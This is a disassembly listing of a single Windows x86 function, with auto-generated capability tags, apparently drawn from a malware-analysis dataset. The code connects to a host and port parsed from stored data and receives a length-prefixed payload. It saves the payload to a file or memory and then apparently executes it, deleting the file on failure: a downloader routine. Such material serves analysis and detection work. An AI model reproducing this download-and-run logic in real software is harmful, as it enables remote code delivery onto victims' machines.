Function at 0x40708c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Delete file
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffcc8
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x334], eax
mov dword [ebp - 0x32c], eax
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x324], eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], eax
mov edi, 0x40d214
xor eax, eax
push ebp
push 0x40750e
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
cmp dword [edi], 0
jne 0x4070f1
mov eax, edi
mov edx, dword [0x4097bc]
call fcn.00404314
lea eax, [ebp - 4]
push eax
mov edx, dword [edi]
mov eax, 0x407524
call fcn.0040461c
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [edi]
call fcn.00404594
mov edx, dword [edi]
mov eax, 0x407524
call fcn.0040461c
mov ecx, eax
mov eax, edi
mov edx, 1
call fcn.004045d4
lea eax, [ebp - 0x324]
push eax
mov edx, dword [edi]
mov eax, 0x407530
call fcn.0040461c
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [edi]
call fcn.00404594
mov eax, dword [ebp - 0x324]
call fcn.00405b68
mov esi, eax
mov edx, dword [edi]
mov eax, 0x407530
call fcn.0040461c
mov ecx, eax
mov eax, edi
mov edx, 1
call fcn.004045d4
lea eax, [ebp - 0x1c4]
push eax
push 0x202
call sub.wsock32.dll_WSAStartup
test eax, eax
jne 0x4074e3
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov edi, eax
mov word [ebp - 0x1d4], 2
push esi
call sub.wsock32.dll_htons
mov word [ebp - 0x1d2], ax
lea edx, [ebp - 0x328]
mov eax, dword [ebp - 4]
call fcn.00407048
mov eax, dword [ebp - 0x328]
call fcn.0040452c
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x1d0], eax
push 0x10
lea eax, [ebp - 0x1d4]
push eax
push edi
call sub.wsock32.dll_connect
test eax, eax
jne 0x40737a
push 0x40753c
lea edx, [ebp - 0x32c]
mov eax, dword [0x40d218]
call fcn.00405b30
push dword [ebp - 0x32c]
push 0x407550
lea edx, [ebp - 0x330]
mov eax, dword [0x40d21c]
call fcn.00405b30
push dword [ebp - 0x330]
push 0x407550
push 0x40755c
lea eax, [ebp - 8]
mov edx, 6
call fcn.00404430
lea eax, [ebp - 8]
call fcn.0040458c
mov edx, eax
mov eax, dword [ebp - 8]
test eax, eax
je 0x40724e
sub eax, 4
mov eax, dword [eax]
push 0
push eax
push edx
push edi
call sub.wsock32.dll_send
xor ebx, ebx
lea eax, [ebp - 0x11]
xor ecx, ecx
mov edx, 1
call fcn.004034b8
push 0
push 1
lea eax, [ebp - 0x11]
push eax
push edi
call sub.wsock32.dll_recv
cdq
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
jmp 0x4072ba
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x407290
cmp dword [ebp - 0x20], 0xffffffff
jne 0x407290
mov bl, 1
jmp 0x4072ca
cmp byte [ebp - 0x11], 0xe
je 0x4072ca
lea eax, [ebp - 0x11]
xor ecx, ecx
mov edx, 1
call fcn.004034b8
push 0
push 1
lea eax, [ebp - 0x11]
push eax
push edi
call sub.wsock32.dll_recv
cdq
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x1c], 0
jne 0x4072c8
cmp dword [ebp - 0x20], 0
ja 0x407280
jmp 0x4072ca
jg 0x407280
test bl, bl
je 0x4072d9
push edi
call sub.wsock32.dll_closesocket
jmp 0x4074e3
lea eax, [ebp - 0xc]
call fcn.004041b4
lea eax, [ebp - 0x11]
xor ecx, ecx
mov edx, 1
call fcn.004034b8
push 0
push 1
lea eax, [ebp - 0x11]
push eax
push edi
call sub.wsock32.dll_recv
cdq
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
jmp 0x40736a
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x407317
cmp dword [ebp - 0x20], 0xffffffff
jne 0x407317
mov bl, 1
jmp 0x40737a
cmp byte [ebp - 0x11], 0xe
je 0x40737a
cmp byte [ebp - 0x11], 0xa
je 0x407346
cmp byte [ebp - 0x11], 0xd
je 0x407346
lea eax, [ebp - 0x334]
movzx edx, byte [ebp - 0x11]
call fcn.004042d4
mov edx, dword [ebp - 0x334]
lea eax, [ebp - 0xc]
call fcn.00404368
lea eax, [ebp - 0x11]
xor ecx, ecx
mov edx, 1
call fcn.004034b8
push 0
push 1
lea eax, [ebp - 0x11]
push eax
push edi
call sub.wsock32.dll_recv
cdq
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x1c], 0
jne 0x407378
cmp dword [ebp - 0x20], 0
ja 0x407307
jmp 0x40737a
jg 0x407307
test bl, bl
je 0x407389
push edi
call sub.wsock32.dll_closesocket
jmp 0x4074e3
mov eax, dword [ebp - 0xc]
call fcn.00405b68
cdq
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
cmp dword [ebp - 0x24], 0
jne 0x4073a2
cmp dword [ebp - 0x28], 0
je 0x407485
cmp byte [0x40d228], 0
je 0x4073d9
mov edx, dword [0x40d208]
lea eax, [ebp - 0x320]
call fcn.00403234
mov edx, 1
lea eax, [ebp - 0x320]
call fcn.00403678
call fcn.00402ce4
jmp 0x4073e6
mov eax, dword [ebp - 0x28]
mov edx, eax
lea eax, [ebp - 0x10]
call fcn.00404760
xor eax, eax
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x40745a
inc dword [ebp - 0x34]
lea eax, [ebp - 0x11]
xor ecx, ecx
mov edx, 1
call fcn.004034b8
push 0
push 1
lea eax, [ebp - 0x11]
push eax
push edi
call sub.wsock32.dll_recv
mov esi, eax
cmp esi, 0xffffffff
jne 0x40741d
mov bl, 1
jmp 0x40746c
add dword [ebp - 0x2c], esi
cmp byte [0x40d228], 0
je 0x407444
lea eax, [ebp - 0x30]
push eax
lea edx, [ebp - 0x11]
mov ecx, esi
lea eax, [ebp - 0x320]
call fcn.0040335c
call fcn.00402ce4
jmp 0x407457
lea eax, [ebp - 0x10]
call fcn.0040458c
mov edx, dword [ebp - 0x34]
movzx ecx, byte [ebp - 0x11]
mov byte [eax + edx - 1], cl
mov dword [ebp - 0x30], esi
mov eax, dword [ebp - 0x2c]
cdq
cmp edx, dword [ebp - 0x24]
jne 0x40746a
cmp eax, dword [ebp - 0x28]
jb 0x4073f2
jmp 0x40746c
jl 0x4073f2
cmp byte [0x40d228], 0
je 0x407485
lea eax, [ebp - 0x320]
call fcn.0040337c
call fcn.00402ce4
test bl, bl
je 0x4074a1
mov eax, dword [0x40d208]
call fcn.0040452c
push eax
call sub.kernel32.dll_DeleteFileA
push edi
call sub.wsock32.dll_closesocket
jmp 0x4074e3
push edi
call sub.wsock32.dll_closesocket
cmp byte [0x40d228], 0
jne 0x4074d5
mov eax, dword [ebp - 0x10]
call fcn.00406ef8
jmp 0x4074d5
lea edx, [ebp - 0x338]
mov eax, dword [0x40d208]
call fcn.00406e04
mov eax, dword [ebp - 0x338]
call fcn.00406ef8
mov eax, dword [0x40d208]
call fcn.00406a54
test al, al
jne 0x4074ba
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407515
lea eax, [ebp - 0x338]
mov edx, 6
call fcn.004041d8
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.004041d8
ret